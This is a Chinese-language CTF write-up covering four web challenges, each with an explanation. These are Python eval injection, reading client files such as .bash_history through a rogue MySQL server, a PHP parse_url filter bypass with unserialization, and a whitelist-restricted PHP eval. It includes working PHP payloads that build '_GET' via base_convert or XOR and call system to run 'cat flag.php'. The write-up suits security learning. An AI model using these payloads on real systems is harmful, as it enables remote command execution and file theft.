几道web题简单总结
拖了好長時間,總結一下這一段時間做的幾道值得記錄一下的題目,有的沒做出來,但是學習到了新的東西
1.homebrew event loop
? ddctf的一道題目,學到了python eval函數的用法,首先分析題目:
這道題目首先通讀源碼是必須的,另一個必須要了解到的出題點在eval()函數這個地方,eval中可以傳入#來注釋掉后面的部分
從上圖可以看出來,此時eval會忽略掉#后面的所有字符串,以及要做出這道題的另一個點:
打破程序進行的流程,先加鉆石數量再檢驗錢數,并且可以給事件傳入一個列表,那么先加鉆石,在檢驗錢之前去getflag即可,而且這里會把flag帶到log中去,總之就是在一個正常的處理序列中去插入一個新的事件,因為eval這里可控,所以剛開始就應該反映到出題點
在這里!
?2.mysql弱口令
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 12/1/2019 2:58 PM # @Author : fz # @Site : # @File : agent.py # @Software: PyCharmimport json from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler from optparse import OptionParser from subprocess import Popen, PIPEclass RequestHandler(BaseHTTPRequestHandler):def do_GET(self):request_path = self.pathprint("\n----- Request Start ----->\n")print("request_path :", request_path)print("self.headers :", self.headers)print("<----- Request End -----\n")self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def do_POST(self):request_path = self.path# print("\n----- Request Start ----->\n")print("request_path : %s", request_path)request_headers = self.headerscontent_length = request_headers.getheaders('content-length')length = int(content_length[0]) if content_length else 0# print("length :", length)print("request_headers : %s" % request_headers)print("content : %s" % self.rfile.read(length))# print("<----- Request End -----\n") self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def _func(self):netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)netstat.wait()ps_list = netstat.stdout.readlines()result = []for item in ps_list[2:]:tmp = item.split()Local_Address = tmp[3]Process_name = tmp[6]tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}result.append(tmp_dic)return resultdo_PUT = do_POSTdo_DELETE = do_GETdef main():port = 8123print('Listening on localhost:%s' % port)server = HTTPServer(('0.0.0.0', port), RequestHandler)server.serve_forever()if __name__ == "__main__":parser = OptionParser()parser.usage = ("Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n""Run:\n\n")(options, args) = parser.parse_args()main()?這道題主要是來攻擊mysql連接的客戶端,這個題目給了agent.py 是用來檢測是不是服務器上存在mysqld進程,而判斷是通過do_get和do_post兩個函數確定的,這兩個函數都會調用_func函數,返回進程名,然后do_get 和do_post再把_func的返回值輸出,
所以只需要讓最后輸出的存在mysqld就行了,然后就可以在服務器上讀取客戶端的文件。
這里讀取客戶端的.mysql_histoty文件,這個文件存儲了用戶登陸mysql服務器所執(zhí)行的命令,也可以讀取.bash_history
在這里又可以讀到web的源碼地址,所以可以繼續(xù)讀取它:
在這里能夠發(fā)現flag所在的庫和表,所以就可以讀取表中的內容,又因為linux下,mysql安裝后,數據庫的數據默認存放在/var/lib/mysql目錄下,所以可以直接訪問其中的庫表,所以可以直接讀取
/var/lib/mysql/security/flag.ibd?3.just soso
這道題比較常規(guī)
<html> <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) { die('stop hacking!');exit();}}$payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> </html>這里主要記錄一下繞過parse_url,這里會檢測flag字符串,但是要是讓parse_url
這樣就能使parse_url返回false,這樣繞過對flag的過濾,然后后面就是常規(guī)的反序列化漏洞,這里要記住最后的序列化的數據因為有不可見字符所以需要urlencode一下
?4.math
<?php error_reporting(0); //聽說你很喜歡數學,不知道你是否愛它勝過愛flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太長了不會算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("請不要輸入奇奇怪怪的字符"); } } //常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("請不要輸入奇奇怪怪的函數"); } } //幫你算出答案 eval('echo '.$content.';'); }?方法一:
這道題主要還是構造沒有字母的shell,這里面又提供了進制轉換的函數base_convert(),說明可以用0-9a-z 36個字符,那么就可以構造shell,這里主要通過分析一個payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php這里通過構造動態(tài)函數,首先base_convert()構造hex2bin,把16進制轉換為字符串,再通過“_GET” -> 16進制表示,再到10進制表示,然后反過來dechex()->hex2bin(),然后結合動態(tài)函數
比如$a="_GET";$$a{c}(($$a)ze8trgl8bvbq); 這樣將實際的payload放在GET參數中,從而來減小長度。
另外一個點是php的數組不僅可以通過[]來進行索引,還可以通過{}來進行索引。 方法2:
另一種構造出_GET的方法是通過異或字符串:
比如要得到_G,則可以通過:
具體怎么得出:可以通過“_G”和兩個字符異或:
for($j=0;$j<10;$j = $j+1){for($i=0;$i<10;$i = $i+1){echo $i.$j." ";echo "_G"^($j).($i);echo "\n"; }} 可以得到兩位字符串,這里也可以選3位或者4位跑,但是因為得到的字符串需要在白名單里面找,所以太長了找不到,所以選兩位最好,一位會增加payload長度,因此is是在白名單里存在的,所以就可以使用,同樣的方法去找“ET”,最后還是去構造動態(tài)函數就可以了。
$abs=(is_finite^(6).(4)).(rad2deg^(7).(5));$$abs{acos}($$abs{ceil})
?
?
轉載于:https://www.cnblogs.com/wfzWebSecuity/p/10747867.html
總結
以上是生活随笔為你收集整理的几道web题简单总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 5G NR的调制方式与解调算法
- 下一篇: python自带ide和pycharm哪